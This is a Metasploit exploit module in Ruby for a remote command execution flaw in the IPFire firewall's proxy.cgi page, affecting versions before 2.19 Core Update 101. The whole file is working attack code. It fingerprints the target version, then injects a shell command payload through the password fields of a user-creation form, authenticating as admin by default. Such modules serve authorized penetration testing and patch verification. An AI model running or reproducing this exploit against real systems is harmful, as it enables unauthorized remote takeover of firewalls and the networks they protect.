IPFire - 'proxy.cgi' Remote Code Execution (Metasploit)

##
## This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'        => 'IPFire proxy.cgi RCE',
        'Description' => %q(
          IPFire, a free linux based open source firewall distribution,
          version < 2.19 Update Core 101 contains a remote command execution
          vulnerability in the proxy.cgi page.
        ),
        'Author'      =>
          [
            'h00die <mike@stcyrsecurity.com>', # module
            'Yann CAM'                         # discovery
          ],
        'References'  =>
          [
            [ 'EDB', '39765' ],
            [ 'URL', 'www.ipfire.org/news/ipfire-2-19-core-update-101-released']
          ],
        'License'        => MSF_LICENSE,
        'Platform'       => 'unix',
        'Privileged'     => false,
        'DefaultOptions' => { 'SSL' => true },
        'Arch'           => [ ARCH_CMD ],
        'Payload'        =>
          {
            'Compat' =>
              {
                'PayloadType' => 'cmd',
                'RequiredCmd' => 'perl awk openssl'
              }
          },
        'Targets'        =>
          [
            [ 'Automatic Target', {}]
          ],
        'DefaultTarget' => 0,
        'DisclosureDate' => 'May 04 2016'
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
        OptString.new('PASSWORD', [ false, 'Password to login with', '']),
        Opt::RPORT(444)
      ], self.class
    )
  end

  def check
    begin
      res = send_request_cgi(
        'uri'       => '/cgi-bin/pakfire.cgi',
        'method'    => 'GET'
      )
      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
      /\<strong\>IPFire (?<version>[\d.]{4}) \([\w]+\) - Core Update (?<update>[\d]+)/ =~ res.body

      if version && update && version == "2.19" && update.to_i < 101
        Exploit::CheckCode::Appears
      else
        Exploit::CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end

  def exploit
    begin
      # To manually view the vuln page, click to proxy.cgi.  At the bottom
      # select Local, and save. Ignore the error box, at the bottom of
      # the page click the button: User Management.

      payload_formatted = "||#{payload.encoded};#"
      post_data =  "NCSA_USERNAME=#{Rex::Text.rand_text_alpha(10)}"
      post_data << "&NCSA_GROUP=standard"
      post_data << "&NCSA_PASS=#{Rex::Text.uri_encode(payload_formatted)}"
      post_data << "&NCSA_PASS_CONFIRM=#{Rex::Text.uri_encode(payload_formatted)}"
      post_data << "&SUBMIT=Create+user"
      post_data << "&ACTION=Add"
      post_data << "&NCSA_MIN_PASS_LEN=6"

      res = send_request_cgi(
        'uri'           => '/cgi-bin/proxy.cgi',
        'method'        => 'POST',
        'ctype'         => 'application/x-www-form-urlencoded',
        'headers'       =>
          {
            'Referer' => "https://#{datastore['RHOST']}:#{datastore['RPORT']}/cgi-bin/proxy.cgi"
          },
        'data'          => post_data
      )

      # success means we hang our session, and wont get back a response
      if res
        fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
        fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
      end

    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
  end
end